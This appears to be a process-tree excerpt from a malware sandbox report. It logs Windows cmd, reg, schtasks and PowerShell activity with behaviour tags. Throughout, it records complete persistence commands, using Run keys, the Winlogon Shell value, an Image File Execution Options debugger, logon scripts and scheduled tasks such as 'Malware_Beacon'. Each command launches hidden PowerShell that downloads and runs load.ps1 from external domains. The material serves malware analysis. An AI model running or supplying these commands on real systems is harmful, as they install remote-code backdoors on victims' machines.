                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                        PID:3888
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                          PID:2328
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1144
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Modifies WinLogon for persistence
                                                                                                                                                                                                                            PID:2368
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:4284
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                              PID:5296
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:4992
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                PID:6600
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                              PID:5976
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                PID:6548
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:5624
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                                                                  PID:6740
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:5572
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                    PID:4868
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:7048
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                                      PID:1136
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:5428
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • Modifies WinLogon for persistence
                                                                                                                                                                                                                                        PID:1584
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:1256
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                          PID:2784
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:6260
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                            PID:2520
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                          PID:5772
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                            PID:6108
                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')"
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                        • Badlisted process makes network request
                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                        PID:2940
                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:1528
                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                          powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')"
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                          PID:4104
                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                          explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')"
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:3604
                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                            PID:3884
                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                            explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')"
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:1072
                                                                                                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                                                                                                              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                              • Modifies Internet Explorer settings
                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                              • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                              PID:2240
                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                              powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')"
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                              • Badlisted process makes network request
                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                              PID:2236
                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:4528
                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')"
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:3748
                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                  PID:2064
                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')"
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                  • Badlisted process makes network request
                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                  PID:1760
                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                  explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')"
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:2436
                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                    PID:4480
                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:3700
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')"
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                      • Badlisted process makes network request
                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                      PID:1464
                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                      explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://pg999asia.net/load.ps1')"
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:4348
                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                        • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                        • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                        PID:2436
                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                        powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')"
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                        • Badlisted process makes network request
                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                        PID:5780
                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                        explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')"
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:5836
                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                          powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')"
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                          • Badlisted process makes network request
                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                          PID:5892
                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                          C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                          • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                          PID:5920
                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                          explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')"
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                            PID:2776
                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                            PID:4344
                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')"
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Badlisted process makes network request
                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                            PID:5136
                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')"
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Badlisted process makes network request
                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                            PID:1020
                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                            explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')"
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:5684
                                                                                                                                                                                                                                                            • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')"
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                PID:5552
                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                PID:5376
                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                PID:5820
                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')"
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                • Badlisted process makes network request
                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                PID:5556
                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')"
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                  PID:5336
                                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                  PID:5536
                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')"
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                  • Badlisted process makes network request
                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                  PID:5680
                                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                  explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')"
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                    PID:2344
                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')"
                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                    • Badlisted process makes network request
                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                    PID:5636
                                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                    PID:4700
                                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                    explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')"
                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                      PID:5476
